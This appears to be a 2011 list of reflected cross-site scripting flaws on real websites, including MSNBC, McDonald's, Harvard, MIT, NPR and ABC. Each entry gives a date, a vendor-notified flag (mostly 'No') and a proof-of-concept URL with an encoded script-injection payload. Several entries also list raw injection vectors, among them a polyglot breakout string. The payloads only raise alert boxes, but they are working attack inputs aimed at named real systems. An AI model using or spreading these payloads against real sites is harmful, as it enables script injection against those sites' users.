NESN

Date: Apr-26-2011
Vendor Notified: No
Proof of Concept:
http://stats.nesn.com/nhl/teamstats.asp?teamno=&type=%22%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E

The Technical College Reykjavik

Date: Apr-10-2011
Vendor Notified: No
Proof of Concept:
http://en.tskoli.is/leit?SearchFor=%22%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E

MSNBC

Date: Mar-25-2011
Vendor Notified: No
Proof of Concept:
http://scores.nbcsports.msnbc.com/fb/teamstats.asp?type=%22%3E%3Cscript%3Ealert(%270%27);%3C/script%3E

UN Multimedia

Date: Mar-21-2011
Vendor Notified: No
Proof of Concept:
http://www.unmultimedia.org/photo/detail.jsp?id=403/403478&key=2&query=%3C/script%3E%22%3E%3Cscript%3Ealert%280%29%3C/script%3E

Vectors:

• <script type="text/javascript"> sendRequest('2', '2', '</script>"><script>alert(0)</script>', '', ''); </script>

McDonald’s

Date: Mar-07-2011
Vendor Notified: No
Proof of Concept:
http://www.mcdonalds.com/content/us/en/search/search_results.html?queryText=%22%3E%27%3E%3Cscript%3Ealert(%270%27)%3C/script%3E

Harvard

Date: Mar-05-2011
Vendor Notified: No
Proof of Concept:
http://college.harvard.edu/icb/icb.do?keyword=k61161&pageid=icb.page316368&pageContentId=icb.pagecontent828781&view=view.do&state=maximize&viewParam_q=%3Cscript%3Ealert(%270%27);%3C/script%3E

MIT

Date: Mar-05-2011
Vendor Notified: No
Proof of Concept:
http://web.mit.edu/bin/cgicso?query=%22;//--%3E%22%3E%27%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E

MTV

Date: Mar-03-2011
Vendor Notified: No
Proof of Concept:
http://www.mtv.com/search/?q=%3C/script%3E%3Cscript%3Ealert(%270%27);%3C/script%3E

Vectors:

• </script><script>alert('0');</script>

NPR

Date: Mar-01-2011
Vendor Notified: Yes
Proof of Concept:
http://www.npr.org/search/index.php?searchinput=alert(0);%3C/script%3E%22%3E%27%3E%3Cscript%3Ealert(0);%3C/script%3E

Vectors:

• alert(0);</script>">'><script>alert(0);</script>

• ';alert(0)//\';//";//\";alert(0)//--></script>">'><script>alert(0)</script>

ABC

Date: Mar-01-2011
Vendor Notified: No
Proof of Concept:
http://abc.go.com/search?search=%22%3E%3Cscript%3Ealert(%270%27);%3C/script%3E

Vectors:

• "><script>alert('0');</script>

• <script>alert('0');</script>